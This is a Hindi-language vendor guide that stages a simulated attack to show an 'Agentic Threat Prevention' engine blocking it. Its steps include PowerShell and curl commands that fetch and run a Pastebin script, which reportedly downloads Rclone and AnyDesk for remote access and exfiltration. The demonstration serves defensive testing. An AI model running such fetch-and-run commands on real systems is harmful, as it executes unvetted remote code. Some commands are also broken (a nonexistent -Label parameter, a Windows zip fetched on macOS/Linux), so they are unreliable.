एजेन्टिक थ्रेट प्रीवेंशन आपके नेटवर्क को कैसे सुरक्षित करता है इसका प्रदर्शन करते हुए।

समीक्षा

एजेन्टिक थ्रेट प्रीवेंशन एक सुरक्षा इंजन है जो सक्रिय रूप से पता लगाए गए खतरों के जवाब में डायनामिक नियंत्रण लागू करता है, हमले की सतह को कम करता है और किसी भी प्रभाव के होने से पहले खतरों को कम कर देता है। अधिक जानकारी के लिए, एजेन्टिक थ्रेट प्रीवेंशन क्या है? देखें।

यह लेख वास्तविक-विश्व हमले की स्थिति का अनुकरण करता है, यह प्रदर्शित करने के लिए कि एजेन्टिक थ्रेट प्रीवेंशन आपके नेटवर्क को कैसे सुरक्षित करता है। हालांकि यह एक प्रमाणीकरण खतरा नहीं है, यह दिखाता है कि कैसे नियंत्रणों को इस प्रकार की तकनीकों को प्रमाणीकरण हमले में इस्तेमाल होने से रोकने के लिए लागू किया जाता है।

इस हमले का जवाब पूरी तरह से स्वचालित है। कोई अतिरिक्त नियम आवश्यक नहीं हैं। सिर्फ एजेन्टिक थ्रेट प्रीवेंशन को सक्षम करना हमले को रोकने के लिए पर्याप्त है।

इस हमले का अनुकरण करने के लिए:

1. बिना अवरोधित हुए एक उच्च-जोखिम टूल डाउनलोड करें

2. स्क्रिप्ट को पेस्टबिन से डाउनलोड करें

3. उच्च-जोखिम टूल्स को फिर से डाउनलोड करने का प्रयास करें। इस बार, डाउनलोड अवरुद्ध कर दिया गया है।

   नोट: हालाँकि यह परिदृश्य एजेंटिक नहीं है, यह दर्शाता है कि नियंत्रण कैसे एजेंटिक हमलों में समान तकनीकों के उपयोग को रोकने में मदद कर सकते हैं।

आवश्यक चीजें

• एजेन्टिक थ्रेट प्रीवेंशन सक्रिय है और क्रियाएँ अवरुद्ध करें पर सेट हैं।

स्टेप 1: एक उच्च-जोखिम उपकरण डाउनलोड करें

यह दिखाने के लिए कि एजेन्टिक थ्रेट प्रीवेंशन केवल तभी क्रियाओं को ब्लॉक करता है जब वे हानिकारक अनुक्रम का हिस्सा हों, पहले Rclone, एक ओपन-सोर्स कमांड-लाइन टूल डाउनलोड करें। आक्रमणकारी आमतौर पर Rclone का उपयोग पोस्ट-कॉम्प्रोमाइज टूल के रूप में करते हैं क्योंकि यह वैध, शक्तिशाली है और सामान्य प्रशासनिक गतिविधि में घुलमिल जाता है।

कार्रवाई

Rclone को इनमें से किसी एक से डाउनलोड करें:

• निम्नलिखित URL: https://downloads.rclone.org/rclone-current-windows-amd64.zip

• विंडोज उपकरणों पर:

  • निम्नलिखित पावरशेल कमांड: Start-Process "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -Label "RClone"

• macOS/Linux उपकरणों पर:

  • निम्नलिखित टर्मिनल कमांड: curl -sSL "https://downloads.rclone.org/rclone-current-windows-amd64.zip"

परिणाम

फाइल सफलतापूर्वक डाउनलोड होती है।

विषय की व्याख्या

यह पुष्टि करता है कि, अलगाव में, कार्रवाई अवरोधित नहीं है, क्योंकि इसे संदिग्ध गतिविधि से नहीं माना जाता।

स्टेप 2: Pastebin से एक स्क्रिप्ट डाउनलोड करें

हमले की शुरुआत का अनुकरण करने के लिए, पेस्टबिन से एक स्क्रिप्ट डाउनलोड करें जो चलने पर, आम हमलावर उपकरण जैसे कि Rclone और AnyDesk रिमोट पहुंच और एक्सफिल्ट्रेशन के लिए डाउनलोड करता है।

कार्रवाई

स्क्रिप्ट को पेस्टबिन से डाउनलोड और चलाएँ:

• विंडोज उपकरणों पर:

  • निम्नलिखित पावरशेल कमांड: (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/C5VxKUpE')

• macOS/Linux उपकरणों पर:

  • निम्नलिखित टर्मिनल कमांड: curl -sSL "https://pastebin.com/raw/tXhVK2V7"

परिणाम

स्क्रिप्ट चलती है और उपकरणों को डाउनलोड करती है। होस्ट पर एक डायनामिक नियंत्रण लागू किया गया है, जो एजेन्टिक थ्रेट्स पेज में दिखाया गया है। अधिक जानकारी के लिए, एजेन्टिक थ्रेट प्रीवेंशन की निगरानी देखें।

स्पष्टीकरण

एजेन्टिक थ्रेट प्रीवेंशन संदिग्ध व्यवहार के संकेतों का पता लगाता है और नियंत्रण को सक्रिय रूप से लागू कर बाद के हानिकारक कार्यों को अवरुद्ध करता है, जिससे हमले को किसी भी प्रभाव के होने से पहले ही रोक दिया जाता है।

स्टेप 3: एक उच्च-जोखिम उपकरण डाउनलोड करें

सिम्युलेटेड हमले में, हमलावर Rclone को डाउनलोड करने का प्रयास करता है। हालांकि, क्योंकि यह कार्रवाई Pastebin से स्क्रिप्ट डाउनलोड करने की संदिग्ध गतिविधि का अनुसरण करती है और एक नियंत्रण लागू है, एजेन्टिक थ्रेट प्रीवेंशन Rclone डाउनलोड को रोक देता है।

कार्रवाई

इनमें से किसी भी विकल्प का उपयोग करके Rclone डाउनलोड करें:

• प्रत्यक्ष रूप से Rclone की साइट से: https://downloads.rclone.org/rclone-current-windows-amd64.zip

• यह पावरशेल कमांड (विंडोज पर): Start-Process -Url "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -Label "RClone"

• macOS/लिनक्स पर यह टर्मिनल कमांड: curl -sSL "https://downloads.rclone.org/rclone-current-windows-amd64.zip"

परिणाम

इस फाइल का डाउनलोड नियंत्रण द्वारा अवरुद्ध किया गया है। मिटीगेटेड खतरा एजेन्टिक थ्रेट्स पेज में दिखाया गया है।

विषय की व्याख्या

चरण 1 के विपरीत, जहां यह स्क्रिप्ट अलग से चलायी गई और इसलिए स्वीकृत थी, इस स्क्रिप्ट का अब डाउनलोड एक संदिग्ध क्रिया द्वारा पहले किया गया था और एजेन्टिक थ्रेट प्रीवेंशन द्वारा ब्लॉक कर दिया गया है।

प्रदर्शन

यह वीडियो इस अनुकरण किए गए हमले का प्रदर्शन दिखाता है: